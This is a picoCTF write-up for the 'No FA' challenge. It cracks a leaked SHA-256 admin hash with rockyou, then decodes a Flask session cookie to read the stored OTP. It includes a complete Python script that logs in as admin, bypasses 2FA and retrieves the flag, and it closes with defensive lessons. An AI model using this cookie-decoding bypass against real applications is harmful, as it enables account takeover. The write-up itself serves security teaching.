No FA
picoCTF No FA writeup exploiting Flask session cookie vulnerabilities to leak OTP codes and crack passwords for authentication bypass.
Contents
No FA
Challenge Summary
This picoCTF challenge provided:
- A live login portal
- The application source code
- A leaked SQLite database
- Repeated hints about
rockyou
Target:
http://foggy-cliff.picoctf.net:55737/login
Provided files:
app (1).pyusers.dbrockyou
The objective was to recover the flag from the admin account.
Initial Analysis
The leaked database contained a users table with usernames, emails, password hashes, and a two_fa flag.
The important admin row looked like this:
username: admin
email: iamadmin@nfs.com
password: c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
two_fa: 1
So admin used 2FA, while most other users did not.
Source Code Review
The login route verified passwords with SHA-256:
if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:
If the user had 2FA enabled, the app generated a 4-digit OTP and stored it in the Flask session:
otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'
return redirect(url_for('two_fa'))
That is the critical design flaw.
Why This Is Vulnerable
Flask’s default session mechanism stores data on the client side in a signed cookie. The cookie is protected against modification if the secret key is unknown, but the contents are not encrypted.
That means if the server stores sensitive values such as:
otp_secretusername- timestamps
inside the session, the browser can still read them.
So even without forging the session, the OTP can simply be extracted from the cookie after a successful password login.
Step 1: Crack the Admin Password
The repeated rockyou hint strongly suggested offline password cracking.
The admin password hash from users.db was:
c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
Using rockyou.txt against SHA-256 recovered:
apple@123
So the admin credentials were:
admin : apple@123
Step 2: Trigger the OTP Flow
Logging in with the recovered password redirected to /two_fa and issued a Flask session cookie.
That cookie looked like:
.eJwty0sKgCAQANC7zFoCtcnyMiE5ieAPnVbR3WvR9sG7IdUQyIOF06VBIKBy2wcdnfjDWWr9G8dMg11uYKUxWklElJPaDC6rgGtQLy7Td5zPscDzAirgHCg.abEfPw.BsVwFapCHik_B_IMNs8eow2stfY
Step 3: Decode the Flask Session Cookie
The Flask session cookie payload can be decoded without knowing the secret key.
Decoded content:
{"logged":"false","otp_secret":"4133","otp_timestamp":1773215551.660..., "username":"admin"}
The key point is that the OTP was directly visible:
4133
So there was no need to brute-force 2FA at all.
Example Cookie Decoder
This is enough to extract the OTP from the session cookie:
import base64
import zlib
import json
cookie = "<session_cookie_here>"
payload = cookie.split('.')[1] if cookie.startswith('.') else cookie.split('.')[0]
raw = base64.urlsafe_b64decode(payload + '=' * (-len(payload) % 4))
try:
data = zlib.decompress(raw)
except Exception:
data = raw
print(json.loads(data))
Full Exploit Flow
A working approach:
- Crack the leaked admin SHA-256 hash with
rockyou - Log in as
adminwithapple@123 - Read the
sessioncookie - Decode the cookie and extract
otp_secret - Submit the extracted OTP to
/two_fa - Load
/and read the flag
Scripted Solution
import requests
import base64
import zlib
import json
BASE = "http://foggy-cliff.picoctf.net:55737"
s = requests.Session()
# Login with cracked admin password
s.post(BASE + "/login", data={
"username": "admin",
"password": "apple@123"
}, allow_redirects=False)
cookie = s.cookies.get("session")
# Decode OTP from Flask session cookie
payload = cookie.split('.')[1] if cookie.startswith('.') else cookie.split('.')[0]
raw = base64.urlsafe_b64decode(payload + '=' * (-len(payload) % 4))
try:
data = zlib.decompress(raw)
except Exception:
data = raw
session_data = json.loads(data)
otp = session_data["otp_secret"]
# Complete 2FA
s.post(BASE + "/two_fa", data={"otp": otp}, allow_redirects=False)
# Read flag
r = s.get(BASE + "/")
print(r.text)
Flag
picoCTF{<redacted>}
Why This Worked
The challenge combined two weaknesses:
- The leaked database exposed password hashes, allowing offline cracking.
- The OTP secret was stored client-side in the Flask session cookie.
So even though admin had 2FA enabled, the second factor was not truly secret. Once the password was cracked, the OTP was exposed by the application itself.
Security Lessons
- Do not store OTP secrets client-side in readable cookies.
- Signed cookies protect integrity, not confidentiality.
- Sensitive authentication state should be stored server-side.
- Leaked password databases make weak passwords trivial to recover offline.
- 2FA is ineffective if the OTP is exposed to the client before verification.
Takeaway
This challenge was solved by combining offline password cracking with session cookie inspection. The admin password came from the leaked SHA-256 hash, and the second factor was recovered directly from the Flask session because it was only signed, not encrypted.
Recovered admin password:
apple@123
Recovered flag:
picoCTF{<redacted>}